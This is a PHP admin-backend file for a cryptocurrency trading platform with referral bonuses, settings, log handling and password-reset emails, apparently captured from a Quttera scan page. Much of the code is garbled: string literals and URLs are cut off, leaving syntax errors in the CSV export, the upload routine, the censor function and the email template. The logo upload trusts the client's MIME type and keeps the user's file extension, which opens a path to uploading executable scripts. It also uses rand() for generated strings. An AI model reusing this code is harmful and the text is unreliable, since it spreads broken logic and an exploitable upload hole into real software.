$query="SELECT c.*,cmd.*,ci.small as image FROM coins c LEFT JOIN coin_market_data cmd ON c.id=cmd.coin_id LEFT JOIN coin_images ci ON c.id=ci.coin_id WHERE c.id=?";
$stmt=$spexcon->prepare($query);
$stmt->bind_param("s",$coinId);
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows>0){
return $result->fetch_assoc();
}
return false;
}
function refreshMarketData(){
global $spexcon;
$query="UPDATE coin_market_data SET last_updated=current_timestamp()";
$spexcon->query($query);
$countQuery="SELECT COUNT(*)as count FROM coin_market_data";
$result=$spexcon->query($countQuery);
return $result->fetch_assoc()['count'];
}
function exportMarketDataCSV(){
global $spexcon;
$search=Sanitize($_GET['search'] ?? '');
$rank=Sanitize($_GET['rank'] ?? '');
$price=Sanitize($_GET['price'] ?? '');
$change=Sanitize($_GET['change'] ?? '');
$sortBy=Sanitize($_GET['sort_by'] ?? 'market_cap_rank');
$sortOrder=Sanitize($_GET['sort_order'] ?? 'asc');
$whereConditions=array();
$params=array();
$types='';
if(!empty($search)){
$whereConditions[]="(c.name LIKE ? OR c.symbol LIKE ?)";
$params[]="%$search%";
$params[]="%$search%";
$types .='ss';
}
$whereClause=!empty($whereConditions)? 'WHERE ' . implode(' AND ',$whereConditions): '';
$validSortColumns=['market_cap_rank','market_cap_usd','current_price_usd','price_change_percentage_24h','total_volume_usd'];
if(!in_array($sortBy,$validSortColumns)){
$sortBy='market_cap_rank';
}
$sortOrder=strtoupper($sortOrder)==='DESC' ? 'DESC' : 'ASC';
$query="SELECT c.id,c.name,c.symbol,cmd.current_price_usd,cmd.market_cap_usd,cmd.market_cap_rank,cmd.price_change_percentage_24h,cmd.price_change_percentage_7d,cmd.total_volume_usd,cmd.circulating_supply,cmd.total_supply,cmd.max_supply,cmd.ath_usd,cmd.atl_usd,cmd.last_updated FROM coins c JOIN coin_market_data cmd ON c.id=cmd.coin_id $whereClause ORDER BY cmd.$sortBy $sortOrder";
if(!empty($params)){
$stmt=$spexcon->prepare($query);
$stmt->bind_param($types,...$params);
$stmt->execute();
$result=$stmt->get_result();
}
else{
$result=$spexcon->query($query);
}
header('Content-Type: text/csv');
header('Content-Disposition: attachment;
filename="market_data_export_' . date('Y-m-d_H-i-s'). '.csv"');
$output=fopen('php: fputcsv($output,array('Coin ID','Name','Symbol','Price USD','Market Cap USD','Rank','Change 24h %','Change 7d %','Volume 24h USD','Circulating Supply','Total Supply','Max Supply','ATH USD','ATL USD','Last Updated'));
while($row=$result->fetch_assoc()){
fputcsv($output,array($row['id'],$row['name'],$row['symbol'],$row['current_price_usd'],$row['market_cap_usd'],$row['market_cap_rank'],$row['price_change_percentage_24h'],$row['price_change_percentage_7d'],$row['total_volume_usd'],$row['circulating_supply'],$row['total_supply'],$row['max_supply'],$row['ath_usd'],$row['atl_usd'],$row['last_updated']));
}
fclose($output);
}
function getSettings(){
global $spexcon;
$query=$spexcon->query("SELECT*FROM settings WHERE id=1");
if(!$query){
throw new Exception("Failed to get settings: " . $spexcon->error);
}
$settings=$query->fetch_assoc();
if(!$settings){
$settings=createDefaultSettings();
}
echo json_encode(['success'=>true,'settings'=>$settings]);
}
function createDefaultSettings(){
global $spexcon;
$defaults=[ 'BaseName'=>'Z-Admin Trading Platform','BaseTitle'=>'Professional Trading Platform','BaseDesc'=>'Advanced cryptocurrency trading platform','BaseLogo'=>'','minDeposit'=>'10.00','minWithdraw'=>'5.00','RegBonus'=>'50.00','RefBonus'=>'25.00','PayBonus'=>'10.00','DailyBonus'=>'5.00','daily_withdraw_limit'=>'1000.00','DailyPageOn'=>'1','ref_lvl_percentage1'=>'10.00','ref_lvl_percentage2'=>'5.00','ref_lvl_percentage3'=>'3.00','ref_lvl_percentage4'=>'2.00','ref_lvl_percentage5'=>'1.00','smtp_host'=>'','smtp_post'=>'587','smtp_user'=>'','smtp_pass'=>'','tawk_to'=>'','MaintenanceMode'=>'0','RegistrationEnabled'=>'1','MaintenanceMessage'=>'System is under maintenance. Please try again later.' ];
$fields=array_keys($defaults);
$values=array_values($defaults);
$placeholders=str_repeat('?,',count($defaults)-1). '?';
$sql="INSERT INTO settings(id," . implode(',',$fields). ")VALUES(1,$placeholders)";
$stmt=$spexcon->prepare($sql);
$stmt->bind_param(str_repeat('s',count($defaults)),...$values);
$stmt->execute();
return $defaults;
}
function uploadLogo(){
global $spexcon;
if(!isset($_FILES['logo'])||$_FILES['logo']['error']!==UPLOAD_ERR_OK){
throw new Exception("No file uploaded or upload error");
}
$file=$_FILES['logo'];
$allowedTypes=['image/jpeg','image/png','image/gif','image/webp'];
if(!in_array($file['type'],$allowedTypes)){
throw new Exception("Invalid file type. Only JPG,PNG,GIF,and WebP are allowed.");
}
if($file['size']>5*1024*1024){
throw new Exception("File too large. Maximum size is 5MB.");
}
$extension=pathinfo($file['name'],PATHINFO_EXTENSION);
$filename=generateRandomString(12). . $extension;
$uploadDir=__DIR__ . '/../../pages/assets/images/';
if(!is_dir($uploadDir)){
mkdir($uploadDir,0755,true);
}
$uploadPath=$uploadDir . $filename;
if(!move_uploaded_file($file['tmp_name'],$uploadPath)){
throw new Exception("Failed to upload file");
}
$spexcon->query("UPDATE settings SET `BaseLogo`='core/pages/assets/images/$filename' WHERE 1");
echo json_encode([ 'success'=>true,'filename'=>$filename,'message'=>'Logo uploaded successfully' ]);
}
function generateRandomString($length=12){
$characters='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$randomString='';
for($i=0;
$i<$length;
$i++){
$randomString .=$characters[rand(0,strlen($characters)-1)];
}
return $randomString;
}
function saveSettings(){
global $spexcon;
$allowedFields=[ 'BaseName','BaseTitle','BaseDesc','BaseLogo','minDeposit','minWithdraw','RegBonus','RefBonus','PayBonus','DailyBonus','daily_withdraw_limit','DailyPageOn','ref_lvl_percentage1','ref_lvl_percentage2','ref_lvl_percentage3','ref_lvl_percentage4','ref_lvl_percentage5','smtp_host','smtp_port','smtp_user','smtp_pass','tawk_to','MaintenanceMode','RegistrationEnabled','MaintenanceMessage' ];
$updateFields=[];
$updateValues=[];
foreach($allowedFields as $field){
if(isset($_POST[$field])){
$updateFields[]="$field=?";
$updateValues[]=Sanitize($_POST[$field]);
}
}
if(empty($updateFields)){
throw new Exception("No valid fields to update");
}
$checkQuery=$spexcon->query("SELECT id FROM settings WHERE id=1");
if($checkQuery&&$checkQuery->num_rows>0){
$sql="UPDATE settings SET " . implode(',',$updateFields). " WHERE id=1";
$stmt=$spexcon->prepare($sql);
$stmt->bind_param(str_repeat('s',count($updateValues)),...$updateValues);
if($stmt->execute()){
echo json_encode(['success'=>true,'message'=>'Settings updated successfully']);
}
else{
throw new Exception("Failed to update settings: " . $stmt->error);
}
}
else{
$updateFields[]="id=?";
$updateValues[]="1";
$sql="INSERT INTO settings SET " . implode(',',$updateFields);
$stmt=$spexcon->prepare($sql);
$stmt->bind_param(str_repeat('s',count($updateValues)),...$updateValues);
if($stmt->execute()){
echo json_encode(['success'=>true,'message'=>'Settings created successfully']);
}
else{
throw new Exception("Failed to create settings: " . $stmt->error);
}
}
}
function getSystemInfo2(){
global $spexcon;
$mysqlVersion=$spexcon->server_info;
$phpVersion=PHP_VERSION;
$serverOS=php_uname('s'). ' ' . php_uname('r');
$memoryUsage=formatBytes(memory_get_usage(true));
$diskSpace=formatBytes(disk_free_space()). '/' . formatBytes(disk_total_space());
$uptimeFile='/proc/uptime';
$uptime='N/A';
if(file_exists($uptimeFile)){
$uptimeSeconds=floatval(explode(' ',file_get_contents($uptimeFile))[0]);
$uptime=formatUptime($uptimeSeconds);
}
elseif(function_exists('shell_exec')){
$uptime=shell_exec('uptime-p')?: 'N/A';
$uptime=trim($uptime);
}
$info=[ 'php_version'=>$phpVersion,'mysql_version'=>$mysqlVersion,'server_os'=>$serverOS,'memory_usage'=>$memoryUsage,'disk_space'=>$diskSpace,'uptime'=>$uptime ];
echo json_encode(['success'=>true,'info'=>$info]);
}
function formatUptime($seconds){
$days=floor($seconds/86400);
$hours=floor(($seconds % 86400)/3600);
$minutes=floor(($seconds % 3600)/60);
return "{
$days
}
d{
$hours
}
h{
$minutes
}
m";
}
function getLogStats(){
$logDir=getLogDir();
if(!is_dir($logDir)){
echo json_encode([ 'success'=>true,'stats'=>[ 'error_count'=>0,'warning_count'=>0,'info_count'=>0,'file_count'=>0 ] ]);
return;
}
$logFiles=glob($logDir . '*.log');
$errorCount=0;
$warningCount=0;
$infoCount=0;
foreach($logFiles as $file){
if(is_readable($file)){
$content=file_get_contents($file);
$errorCount+=substr_count($content,'|Error:');
$warningCount+=substr_count($content,'|Warning:');
$infoCount+=substr_count($content,'|Info:');
}
}
echo json_encode([ 'success'=>true,'stats'=>[ 'error_count'=>$errorCount,'warning_count'=>$warningCount,'info_count'=>$infoCount,'file_count'=>count($logFiles)] ]);
}
function getLogFiles(){
$logDir=getLogDir();
if(!is_dir($logDir)){
echo json_encode(['success'=>true,'files'=>[]]);
return;
}
$logFiles=glob($logDir . '*.log');
$files=[];
foreach($logFiles as $file){
$filename=basename($file);
$size=formatBytes(filesize($file));
$modified=date('d.m.Y H:i:s',filemtime($file));
$files[]=[ 'name'=>$filename,'size'=>$size,'modified'=>$modified,'path'=>$file ];
}
usort($files,function($a,$b){
return filemtime($logDir . $b['name'])-filemtime($logDir . $a['name']);
}
);
echo json_encode(['success'=>true,'files'=>$files]);
}
function getLogs2(){
$logDir=getLogDir();
if(!is_dir($logDir)){
echo json_encode(['success'=>true,'logs'=>[]]);
return;
}
$logFiles=glob($logDir . '*.log');
$allLogs=[];
usort($logFiles,function($a,$b){
return filemtime($b)-filemtime($a);
}
);
$totalEntries=0;
foreach($logFiles as $file){
if($totalEntries>=1000)break;
if(is_readable($file)){
$logs=parseLogFile($file);
$allLogs=array_merge($allLogs,$logs);
$totalEntries+=count($logs);
}
}
usort($allLogs,function($a,$b){
return strtotime($b['timestamp'])-strtotime($a['timestamp']);
}
);
$allLogs=array_slice($allLogs,0,1000);
echo json_encode(['success'=>true,'logs'=>$allLogs]);
}
function getLogFileContent(){
$filename=$_POST['filename'] ?? '';
if(empty($filename)){
throw new Exception('Filename is required');
}
$logDir=getLogDir();
$filepath=$logDir . basename($filename);
if(!file_exists($filepath)){
throw new Exception('Log file not found');
}
$logs=parseLogFile($filepath);
usort($logs,function($a,$b){
return strtotime($b['timestamp'])-strtotime($a['timestamp']);
}
);
echo json_encode(['success'=>true,'logs'=>$logs]);
}
function parseLogFile($filepath){
$logs=[];
if(!is_readable($filepath)){
return $logs;
}
$content=file_get_contents($filepath);
$lines=explode("\n",$content);
foreach($lines as $line){
$line=trim($line);
if(empty($line))continue;
if(preg_match('/^(\d{
4
}
-\d{
2
}
-\d{
2
}
\d{
2
}
:\d{
2
}
:\d{
2
}
)\s*\|\s*(Error|Warning|Info|Debug):\s*(.+?)(?:\sin\s(.+?)\son\sline\s(\d+))?$/',$line,$matches)){
$timestamp=$matches[1];
$level=$matches[2];
$message=$matches[3];
$file=isset($matches[4])? $matches[4] : '';
$lineNum=isset($matches[5])? $matches[5] : '';
$logs[]=[ 'timestamp'=>$timestamp,'date'=>date('Y-m-d',strtotime($timestamp)),'level'=>strtoupper($level),'message'=>$message,'file'=>$file,'line'=>$lineNum,'trace'=>'' ];
}
}
return $logs;
}
function clearAllLogs2(){
$logDir=getLogDir();
if(!is_dir($logDir)){
echo json_encode(['success'=>true,'message'=>'No log directory found']);
return;
}
$logFiles=glob($logDir . '*.log');
$deletedCount=0;
foreach($logFiles as $file){
if(unlink($file)){
$deletedCount++;
}
}
echo json_encode([ 'success'=>true,'message'=>"Deleted $deletedCount log files" ]);
}
function deleteLogFile(){
$filename=$_POST['filename'] ?? '';
if(empty($filename)){
throw new Exception('Filename is required');
}
$logDir=getLogDir();
$filepath=$logDir . basename($filename);
if(!file_exists($filepath)){
throw new Exception('Log file not found');
}
if(unlink($filepath)){
echo json_encode(['success'=>true,'message'=>'Log file deleted successfully']);
}
else{
throw new Exception('Failed to delete log file');
}
}
function downloadAllLogs(){
$logDir=getLogDir();
if(!is_dir($logDir)){
http_response_code(404);
echo json_encode(['success'=>false,'message'=>'No log directory found']);
exit;
}
$logFiles=glob($logDir . '*.log');
if(empty($logFiles)){
http_response_code(404);
echo json_encode(['success'=>false,'message'=>'No log files found']);
exit;
}
$zipFile=sys_get_temp_dir(). '/system_logs_' . date('Y-m-d_H-i-s'). '.zip';
$zip=new ZipArchive();
if($zip->open($zipFile,ZipArchive::CREATE)!==TRUE){
http_response_code(500);
echo json_encode(['success'=>false,'message'=>'Cannot create ZIP file']);
exit;
}
foreach($logFiles as $file){
$zip->addFile($file,basename($file));
}
$zip->close();
header('Content-Type: application/zip');
header('Content-Disposition: attachment;
filename="system_logs_' . date('Y-m-d_H-i-s'). '.zip"');
header('Content-Length: ' . filesize($zipFile));
readfile($zipFile);
unlink($zipFile);
exit;
}
function downloadLogFile(){
$filename=$_GET['filename'] ?? '';
if(empty($filename)){
http_response_code(400);
echo json_encode(['success'=>false,'message'=>'Filename is required']);
exit;
}
$logDir=getLogDir();
$filepath=$logDir . basename($filename);
if(!file_exists($filepath)){
http_response_code(404);
echo json_encode(['success'=>false,'message'=>'File not found']);
exit;
}
header('Content-Type: text/plain');
header('Content-Disposition: attachment;
filename="' . basename($filename). '"');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit;
}
function Censor($text,$type='word'){
if($type==='email'){
if(filter_var($text,FILTER_VALIDATE_EMAIL)){
$parts=explode('@',$text);
$username=$parts[0];
$domain=$parts[1];
$censoredUsername=substr($username,0,2). str_repeat('*',strlen($username)-2);
$domainParts=explode(,$domain);
$censoredDomain=substr($domainParts[0],0,1). str_repeat('*',strlen($domainParts[0])-1);
if(isset($domainParts[1])){
$censoredDomain .= . $domainParts[1];
}
return $censoredUsername . '@' . $censoredDomain;
}
}
if(strlen($text)<=2){
return str_repeat('*',strlen($text));
}
return $text[0] . str_repeat('*',strlen($text)-2). $text[strlen($text)-1];
}
function generateEmailTemplate($uid,$newPassword){
$BaseSet=FetchWebSettings();
$BaseName=$BaseSet['BaseName'];
$domain=$_SERVER['HTTP_HOST'];
$loginLink="https: $IPAddress=$_SERVER['REMOTE_ADDR'];
$Time=date('l jS \of F Y h:i:s A');
return '<!DOCTYPE html><html lang="en" xmlns="http:<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>Password Reset-'.$BaseName.'</title><link rel="stylesheet" href="https:</head><body class="email-body"><div class="preheader">Your '.$BaseName.' account password has been reset successfully. Access details and new password inside.</div><table role="presentation" cellspacing="0" cellpadding="0" border="0" width="100%" class="email-container"><tr><td align="center" class="main-wrapper"><table role="presentation" cellspacing="0" cellpadding="0" border="0" width="600" class="email-wrapper"><tr><td class="header-bg"><table role="presentation" cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td class="header-content"><div class="logo-container"><span class="logo-text">📈 '.$BaseName.'</span></div><h1 class="header-title">Password Reset Successful</h1></td></tr></table></td></tr><tr><td class="main-content mobile-padding"><p class="greeting">Dear<strong>'.$uid.'</strong>,</p><p class="intro-text">Your '.$BaseName.' account password has been successfully reset. For your security,we have generated a new temporary password.</p><div class="password-container"><h2 class="password-title">🔐 Your New Password</h2><div class="password-box"><span class="password-text">'.$newPassword.'</span></div></div><div class="cta-container"><table role="presentation" cellspacing="0" cellpadding="0" class="cta-table"><tr><td class="cta-button"><a href="'.$loginLink.'" class="cta-link">Login to Your Account</a></td></tr></table></div><div class="security-info"><h3 class="security-title">🛡️ Security Details</h3><table role="presentation" cellspacing="0" cellpadding="0" border="0" width="100%" class="security-table"><tr><td class="security-label">IP Address:</td><td class="security-value security-ip">'.$IPAddress.'</td></tr><tr><td class="security-label">Time:</td><td class="security-value">'.$Time.'</td></tr></table></div><div class="security-warning"><h3 class="warning-title">⚠️ Important Security Notice</h3><p class="warning-text">If you did not request this password reset,you can safely ignore this email and your password will remain unchanged.</p></div></td></tr><tr><td class="footer-bg"><table role="presentation" cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td class="footer-content"><p class="footer-text">This is an automated email. Please do not reply to this message.</p></td></tr><tr><td class="footer-copyright"><p class="copyright-text">© 2025 '.$BaseName.'. All rights reserved.</p></td></tr></table></td></tr></table></td></tr></table></body></html>';
}
© 2023 Quttera Ltd. All rights reserved.